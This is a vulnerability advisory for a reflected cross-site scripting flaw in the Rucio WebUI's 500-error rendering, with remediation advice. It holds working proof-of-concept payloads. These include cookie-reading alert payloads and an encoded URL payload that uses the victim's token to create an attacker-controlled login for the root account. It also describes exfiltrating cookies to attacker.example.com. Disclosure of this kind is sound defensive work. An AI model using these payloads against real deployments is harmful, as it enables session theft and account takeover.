PT-2026-59676 — Pypi Rucio-Webui

PT-2026-59676 · Pypi · Rucio-Webui

Published

2026-07-13

Updated

2026-07-13

CVSS v3.1

8.1

High

Vector

AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Summary

A reflected Cross-site Scripting vulnerability was located in the rendering of the ExceptionMessage of the WebUI 500 error which could allow attackers to steal login session tokens of users who navigate to a specially crafted URL.

Details

The WebUI error message renders ExceptionMessage (which can contain user-controlled input) as unencoded HTML. Server code that produces the message is in common.py - specifically error headers -> error response -> generate http error flask, which places ExceptionMessage into both response headers and the JSON body. The WebUI client then injects that text into the DOM using unsafe methods (examples in lib/rucio/web/ui/static/*.js such as rule.js, request rule.js, list rules.js) with jQuery.html(...) or equivalent, enabling reflected XSS when an attacker-controlled value is included in an error message (e.g. account, attribute, scope).

PoC

Reflected XSS via account parameter (browse or load URL in WebUI context):

text

https://127.0.0.1:8443/ui/account rse usage?account=%3Cimg%20src=x%20onerror=alert(document.cookie)%3E

Server response (excerpt):

http

HTTP/1.1 500 INTERNAL SERVER ERROR
ExceptionClass: AccountNotFound
ExceptionMessage: Account <img src=x onerror=alert(document.cookie)> does not exist
Content-Type: application/octet-stream

{"ExceptionClass":"AccountNotFound","ExceptionMessage":"Account <img src=x onerror=alert(document.cookie)> does not exist"}

XSS payload triggering (Displaying session token) when browsing to crafted URL

When the WebUI inserts ExceptionMessage into the page with .html(...), the injected executes and displays the users' session tokens. Note that this is a PoC only, an attacker would likely attempt to exfiltrate the session token to an external site by setting an encoded version of the cookie as the path of a GET request to an attacker controlled site (i.e GET https://attacker.example.com/rucio/{BASE64 COOKIE}).

Reflected XSS via account key attribute creation error:

http

POST /proxy/accounts/pentest/attr/XSS HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Origin: https://127.0.0.1:8443
X-Rucio-Script: webui::-ui-account
{"key":"XSS","value":"<script>alert(document.cookie)</script>"}

XSS payload triggering (Displaying session token) on error when creating account key

Server response (excerpt) contains ExceptionMessage with the raw <script> payload; the WebUI renders it unsafely and script executes. Note that this method is less impactful since it's not something that can be triggered with a URL alone, but is listed to show that this issue affects multiple locations.

Impact

Any authenticated WebUI user who follows a crafted link or triggers a request containing attacker-controlled input in a field that causes an error may execute arbitrary JavaScript in the WebUI origin. This vulnerability is more impactful due to the lack of protection of cookies (The Session token does not have HttpOnly attribute) and lack of Content Security Policy that would prevent thrid-party scripts from loading.

Attackers can steal session cookies/tokens or perform actions as the victim like creating a new UserPass identity with an attacker known password.

Example URL to Create UserPass for Root

https://localhost:8443/ui/account rse usage?account=%3Cimg%20src%3Dx%20onerror%3D(function()%7Bo%3D%7B%7D%3Bo.method%3D'PUT'%3Bo.credentials%3D'include'%3Bo.headers%3D%7B'X-Rucio-Username'%3A'attackeruser'%2C'X-Rucio-Password'%3A'AttackerPassword123'%2C'X-Rucio-Email'%3A'demo%40example.org'%2C'X-Rucio-Auth-Token'%3Atoken%7D%3Bfetch(String.fromCharCode(47)%2B'identities'%2BString.fromCharCode(47)%2B'root'%2BString.fromCharCode(47)%2B'userpass'%2Co)%7D)()%3E

Account Payload to Create UserPass

html

<img src=x onerror=(function(){o={};o.method='PUT';o.credentials='include';o.headers={'X-Rucio-Username':'attackeruser','X-Rucio-Password':'AttackerPassword123','X-Rucio-Email':'demo@example.org','X-Rucio-Auth-Token':token};fetch(String.fromCharCode(47)+'identities'+String.fromCharCode(47)+'root'+String.fromCharCode(47)+'userpass',o)})()>

Creating identity for Root account via reflected XSS

All WebUI users are impacted.

Remediation / Mitigation

Change all client-side insertions of server-provided text from .html(...) to .text() or create text nodes / escape HTML before insertion. Example: replace $('#elem').html(msg) with $('#elem').empty().append($('<span>').text(msg)).

Additionally, consider adding a Content Security Policy (CSP) to mitigate external script execution and set the HTTPOnly flag for session cookies. Also, the API token should not be set in a JavaScript variable as it can be accessed by an attacker even with the HTTPOnly flag set on the session cookie.

Note that many pages were found setting the API token as token in an authenticated response like var token = "root-root-webui-...:" (See /ui/list accounts for example)

References:

Server functions: common.py (error headers, error response, generate http error flask)
Example client files to fix: lib/rucio/web/ui/static/rule.js, lib/rucio/web/ui/static/request rule.js, list rules.js
OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross Site Scripting Prevention Cheat Sheet.html

Fix

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Related Identifiers

PYSEC-2026-3056

Affected Products

Rucio-Webui